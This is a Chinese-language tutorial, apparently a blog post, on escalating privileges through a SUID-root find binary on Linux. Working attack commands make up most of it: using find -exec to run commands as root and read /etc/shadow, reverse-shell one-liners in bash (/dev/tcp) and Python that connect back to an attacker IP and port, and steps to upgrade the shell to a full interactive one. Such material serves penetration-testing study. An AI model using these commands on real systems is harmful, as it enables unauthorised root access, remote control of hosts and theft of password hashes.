find 命令提权
find 命令提权
普通用户find命令提权
先查看find命令有没有提权的可能
1. 查看find命令权限
方法 一、
# 1. 查看find命令位置
which find
# 2. 查看 find 命令权限
ls -l /usr/bin/find # 这是find 默认位置
-rwsr-xr-x. 1 root root 199200 Nov 20 2015 /usr/bin/find
# 有s 表示可以提权
方法 二、
# 用find 命令查找 有超级属性的文件
find / -perm -u=s -type f 2>/dev/null
2. 假如find命令可提权 有s权限位
权限位 u + s
权限为 4xxx
# 查看是否可以用root 命令执行命令
find `which find` -exec whoami \;
# 命令解释: 以find 命令 执行 whoami 命令。
# find (一个路径或文件必须存在) -exec 执行命令 (结束)\;
可以直接执行命令
find /usr/bin/find -exec cat /etc/shadow \;
查看普通用户没有权限查看的文件。
3. 反弹shell
常规套路 ,2个机器。 一个开监听,一个执行反弹命令
用途 ip 攻击机(root 用户) 192.168.2.128 开监听 靶机(普通用户) 192.168.2.10 执行反弹shell 命令 3.1 开监听
# 监听 9919 端口 nc -lvvnp 9919
3.2 执行反弹shell 命令
# 用find 命令执行 find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.2.128/9919 0>&1 \; # python 方式反弹 find /etc/passwd -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.128",9919));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-ip"]);' \;
-p : 让 euid 为0 , 权限为root 权限
默认情况下 bash 在执行时,如果发现 euid 和 uid 不匹配,会将 euid(即 suid) 强制重置为uid 。如果使用了 -p 参数,则不会再覆盖。
3.3 验证
# 在反弹的shell 中 执行命令 bash-4.2# whoami whoami root bash-4.2# id id uid=1005(zzzz) gid=1005(zzzz) euid=0(root) groups=1005(zzzz)
此shell 为不完整的shell, 升级交互式。
3.4 升级交互式shell
# 在反弹shell 上执行 [root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")' #使用python,升级交互shell [root@localhost ~]# ^Z # ctrl + z 按键 挂起正在运行的程序 root@kali64:~# stty raw -echo # 输入这句后 在输入命令终端不在显示 root@kali64:~# fg # 把后台挂起的程序,放到控制台----》 终端不显示命令,输入后回车 [root@localhost ~]# reset